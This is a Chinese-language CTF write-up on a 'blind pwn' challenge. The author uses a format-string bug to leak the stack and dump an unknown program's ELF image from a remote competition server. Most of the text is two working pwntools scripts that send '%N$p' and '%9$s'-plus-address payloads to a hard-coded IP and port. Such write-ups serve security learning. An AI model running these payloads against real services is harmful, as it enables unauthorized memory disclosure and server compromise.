使用格式化串攻击来dump服务器上的程序

之前一直以为fmt能泄漏的的就是canary了,直到这次pwnhub遇到没有给样本程序的pwn比赛。这里先泄漏程序,再去分析程序写exp,拿到服务器权限。

  • by hook

blind pwn

只给了一个远程地址54.223.254.123:701,连接后发现只是简单的输入输出交互,测试%p发现是64位的环境。

信息泄漏

<1>. 尝试固定地址泄漏

先写exp尝试泄漏固定地址处的内容,发现并没有拿到程序头部’ELF’标示字符串,怀疑是开启了PIE,导致了程序映射的地址都是随机的。

<2>. 栈信息泄漏

这里开始泄漏栈信息,来推测出程序的加载地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python

from pwn import *
from binascii import *

#64bit

f = open('./stack_info.txt', 'w')

index = 0x1
while index < 220:
try:
p = remote("54.223.254.123", 701)
p.recvuntil('something:')
payload = '%'+str(index)+'$#p'
p.sendline(payload)
p.recvuntil('interesting:')
result_str = p.recv()
if result_str == '(nil)':
result_str = '0x0'
resstr = '{:016x}'.format(int(result_str, 16))
f.write(resstr+'\n')
index += 1
except Exception:
print("index = " + str(index))
log.warning("got exception...", exc_info = sys.exc_info())
break
f.close()

从返回的栈信息推测程序是加载在0x557a143d0000附近
经反复测试后得到程序是加载在0x557a143d2000处。
(这里地址为什么会固定我也没明白,但他人说是因为它虽然开了PIE, 但没开ASLR, 导致了PIE的功能缺失,地址固定下来了)

<3>. 格式化偏移地址确定

根据%p来确定偏移量

<4>. dump ELF

接着从上文得到的地址处开始dump ELF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python

# -*- coding: utf-8 -*-

from pwn import *
def leakELF(addr):
p = None
for i in range(5):
try:
p = remote("54.223.254.123", 701, timeout=1)
payload = "aaaabb__%9$s__EN" + p64(addr)
#if ("\x0a" in payload) or ("\x00" in payload):
# log.warning("newline in payload!")
# return "\xff"
p.recvuntil('something:')
p.sendline(payload)
p.recvuntil('interesting:')
data2 = p.recv()
log.info(hexdump(data2))
if data2:
fr = data2.find("bb__") + 4
to = data2.find("__EN")
res = data2[fr:to]
if res == "":
return "\x00"
else:
return res
return "\xff"
except KeyboardInterrupt:
raise
except EOFError:
log.debug("got EOF for leaking addr 0x{:x}".format(addr))
pass
except Exception:
log.warning("got exception...", exc_info = sys.exc_info())
finally:
if p:
p.close()
return "\xff"

f = open("dumpFile", "wb")
base = 0x557a143d2000
leaked = ""
while len(leaked) < 8300:
address = base + len(leaked)
tmp = leakELF(address)
leaked += tmp
log.info(hexdump(leaked))
with open("dumpFile", "wb") as f:
f.write(leaked)

程序分析

可以看到dump出的程序可以正常分析,接着就是分析漏洞,编写exp,获取服务器shell了。